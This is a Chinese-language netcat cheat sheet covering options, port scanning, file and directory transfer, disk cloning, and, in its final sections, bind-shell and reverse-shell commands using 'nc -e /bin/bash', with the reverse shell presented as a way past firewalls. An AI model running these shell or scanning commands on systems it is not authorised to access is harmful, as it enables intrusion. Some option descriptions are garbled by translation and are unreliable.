## 入门

### 用法

连接到位于任何地方的主机

    $ nc [options] [host] [port]

监听传入连接

    $ nc -lp port [host] [port]

### 选项示例

选项 | 示例 | 说明
--- | --- | ---
`-h` | nc -h | 帮助
`-z` | nc -z 192.168.1.9 1-100 | 端口扫描主机或 `IP` 地址
`-v` | nc -zv 192.168.1.9 1-100 | 提供详细输出
`-n` | nc -zn 192.168.1.9 1-100 | 通过禁用 `DNS` 解析进行快速扫描
`-l` | nc -lp 8000 | `TCP` 侦听模式 (用于入站连接)
`-w` | nc -w 180 192.168.1.9 8000 | 定义超时值
`-k` | nc -kl 8000 | 断线后继续收听
`-u` | nc -u 192.168.1.9 8000 | 使用 `UDP` 而不是 `TCP`
`-q` | nc -q 1 192.168.1.9 8000 | 客户在 `EOF` 后熬夜
`-4` | nc -4 -l 8000 | 仅限 `IPv4`
`-6` | nc -6 -l 8000 | 仅限 `IPv6`

### 聊天客户端-服务器

服务器 Server (192.168.1.9)

    $ nc -lv 8000

客户端 Client

    $ nc 192.168.1.9 8000

## Netcat 示例

### Banner 抓取

    $ nc website.com 80
    GET index.html HTTP/1.1
    HEAD / HTTP/1.1

或者

    echo "" | nc -zv -wl 192.168.1.1 801-805

### 端口扫描

扫描 `21` 到 `25` 之间的端口

    $ nc -zvn 192.168.1.1 21-25

扫描端口 `22`、`3306` 和 `8080`

    $ nc -zvn 192.168.1.1 22 3306 8080

### 代理和端口转发

    $ nc -lp 8001 -c "nc 127.0.0.1 8000"

或者

    $ nc -l 8001 | nc 127.0.0.1 8000

创建从一个本地端口到另一个本地端口的隧道

### 下载文件

服务器 Server (192.168.1.9)

    $ nc -lv 8000 < file.txt

客户端 Client

    $ nc -nv 192.168.1.9 8000 > file.txt

假设您想将文件 `file.txt` 从服务器 A 传输到客户端 B。

### 上传文件

服务器 Server (192.168.1.9)

    $ nc -lv 8000 > file.txt

客户端 Client

    $ nc 192.168.1.9 8000 < file.txt

假设您想将文件 `file.txt` 从客户端 `B` 传输到服务器 `A`

### 目录传输

服务器 Server (192.168.1.9)

    $ tar -cvf – dir_name | nc -l 8000

客户端 Client

    $ nc -n 192.168.1.9 8000 | tar -xvf -

假设您想通过网络将目录从 `A` 传输到 `B`

### 加密传输

服务器 Server (192.168.1.9)

    $ nc -l 8000 | openssl enc -d -des3 -pass pass:password > file.txt

客户端 Client

    $ openssl enc -des3 -pass pass:password | nc 192.168.1.9 8000

在通过网络传输之前加密数据

### 克隆

服务器 Server (192.168.1.9)

    $ dd if=/dev/sda | nc -l 8000

客户端 Client

    $ nc -n 192.168.1.9 8000 | dd of=/dev/sda

克隆 linux PC 非常简单。假设你的系统盘是 /dev/sda

### 视频流

服务器 Server (192.168.1.9)

    $ cat video.avi | nc -l 8000

客户端 Client

    $ nc 192.168.1.9 8000 | mplayer -vo x11 -cache 3000 -

使用 netcat 流式传输视频

### 远程 shell

服务器 Server (192.168.1.9)

    $ nc -lv 8000 -e /bin/bash

客户端 Client

    $ nc 192.168.1.9 8000

我们已经使用 `telnet` 和 `ssh` 使用远程 `Shell`，但是如果它们没有安装并且我们没有安装它们的权限，那么我们也可以使用 `netcat` 创建远程 `shell`

### 逆转 shell

服务器 Server (192.168.1.9)

    $ nc -lv 8000

客户端 Client

    $ nc 192.168.1.9 8000 -v -e /bin/bash

反向 `shell` 通常用于绕过防火墙限制，例如阻止入站连接